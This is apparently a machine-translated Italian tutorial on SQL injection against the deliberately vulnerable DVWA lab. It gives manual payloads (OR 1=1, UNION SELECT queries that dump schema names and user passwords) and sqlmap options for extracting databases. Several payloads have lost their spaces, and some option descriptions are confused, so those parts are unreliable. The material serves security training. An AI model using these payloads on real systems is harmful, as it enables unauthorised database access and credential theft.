Sicurezza del server delle applicazioni Web (vulnerabilità del caricamento di file, vulnerabilità dell'inclusione di file)
Sicurezza del client Web (attacco cross-site XSS)
2. iniezione sql
2.1 Introduzione all'SQL Iniezione
L'SQL injection è in cima alla lista dei problemi di sicurezza
L'attacco SQL injection consiste nel fatto che i parametri di input non vengono filtrati e quindi inseriti direttamente nell'istruzione SQL per l'analisi.
L'SQL injection è una tecnica di attacco che aggiunge codice SQL ai parametri di input e lo passa al server per l'analisi e l'esecuzione.
2.2 Principio dell'iniezione SQL
L'aggressore inserisce caratteri dannosi nella pagina
Il server non filtra i parametri inviati oppure il filtraggio è insufficiente.
Gli aggressori utilizzano istruzioni SQL di splicing per ottenere informazioni sensibili dal database
2.3 Pericoli della sql injection
Perdita del database
I dati dell'utente sono stati acquistati e venduti illegalmente
Compromettere la sicurezza delle applicazioni web
2.4 Metodo di implementazione dell'iniezione SQL
Manuale
Trova: punto di iniezione
Input: sintassi della combinazione di iniezione comune SQL per l'iniezione
automatico (strumento)
Strumento: scansione dei punti di iniezione
Input: prova automaticamente varie combinazioni di sintassi
3.Configurazione dell'ambiente
3.1 macchina virtuale vmware
3.1.1 Funzione
Software per macchine virtuali: è possibile utilizzare il software per installare più sistemi operativi virtuali (Linux, Windows) su macchine fisiche
3.2 Drone bersaglio (imparare a utilizzare l'ambiente del progetto)
effetto
Un sistema di macchina virtuale Linux Alcune applicazioni Web con vulnerabilità note sono installate in questa macchina virtuale per facilitare l'apprendimento.
3.3 Macchina di penetrazione (imparare ad attaccare l'ambiente di iniezione SQL)
effetto:
Kali contiene centinaia di strumenti che possono essere utilizzati per varie attività di sicurezza delle informazioni come test di penetrazione e ricerche sulla sicurezza
4. Iniezione manuale
4.1 Preparazione dell'ambiente
Descrizione: Esercitati con l'iniezione manuale tramite l'applicazione web del drone fare un passo:
Avvia il drone target OWASP
Accedi al drone tramite un browser
Visita il progetto OWASP-dvwa
Login
Selezionare l'applicazione SQL Injection
4.2 Trovare il punto di iniezione
Nota: utilizzare principalmente virgolette singole e caratteri di escape, principalmente virgolette singole principio:
#后台程序sql语句select first_name,last_name from users where user_id ='$id';#输入单引号('),相当于将sql语句闭合,后面就可以使用附加其他逻辑条件了select first_name,last_name fro users where user_id =''';
1
2
3
4
4.3 OR logico
4.4 Indovina il numero di colonne
per unione
' unionselect1,2#
1
2. Con OR logico
'or1=1#
1
4.5 Ottieni database, tabelle e colonne
Ottieni il nome del database
' unionselect1,database()#
1
Prendi un tavolo
' union select table_name,1 from information_schema.tables where table_schema='dvwa' #
1
Ottieni colonna
' union select column_name,1 from information_schema.columns where table_name='users' #
1
4.6 Ottenere dati
//1. 获取单个字段数据' union select user,1 from users#
//2. 获取两个字段
'unionselectuser,password from users#
1
2
3
4
5
4.7 funzione concat
Funzione: unire più stringhe in una stringa Sintassi: concat(str1,str2,…) Esempio:
Ottieni user_id, utente, password dalla tabella utenti e visualizzali in due colonne
' union select user,concat(first_name,'',last_name,' ',password)from users#
1
5. Iniezione automatica
5.1 Introduzione all'iniezione automatica
Nota: l'iniezione automatica si riferisce all'utilizzo di strumenti anziché al lavoro manuale per completare le operazioni di iniezione SQL. Strumento: sqlmap
5.2 Iniettare automaticamente l'ambiente
Avvia il drone
Avviare la macchina di penetrazione
5.3 mappa sql
Strumento: sqlmap
Uno strumento di test di penetrazione open source
Rileva e sfrutta automaticamente le vulnerabilità SQL injection e prendi il controllo dei server database
5.3.1 Utilizzo di base di sqlmap
parametro
-u: esegue la scansione dell'URL di destinazione
–batch: elabora automaticamente le informazioni del prompt
–cookie: parametri aggiuntivi dei cookie
fare un passo
Scansione del punto di iniezione
Ottieni il nome del database
Ottieni il nome della tabella
Ottieni il nome del campo
recuperare i dati
Poiché dobbiamo effettuare l'accesso, otteniamo prima il cookie della pagina in cui abbiamo effettuato l'accesso Quindi inizia a scansionare il punto di iniezione Iniezione riuscita
5.3.2 sqlmap ottiene il nome della libreria
– current-db: interroga il nome del database utilizzato dal web corrente -D: applica il database specificato risultato dell'operazione:
5.3.3 sqlmap ottiene la tabella
– current-db: interroga tutti i nomi delle tabelle nella libreria specificata (è necessario utilizzare -D per specificare prima il nome della libreria) -T: specifica la tabella
risultato dell'operazione:
5.3.4 sqlmap ottiene colonne
– colonne: interroga tutti i campi nella tabella specificata (è necessario utilizzare -T per specificare prima il nome della tabella) -C: specificare il nome del campo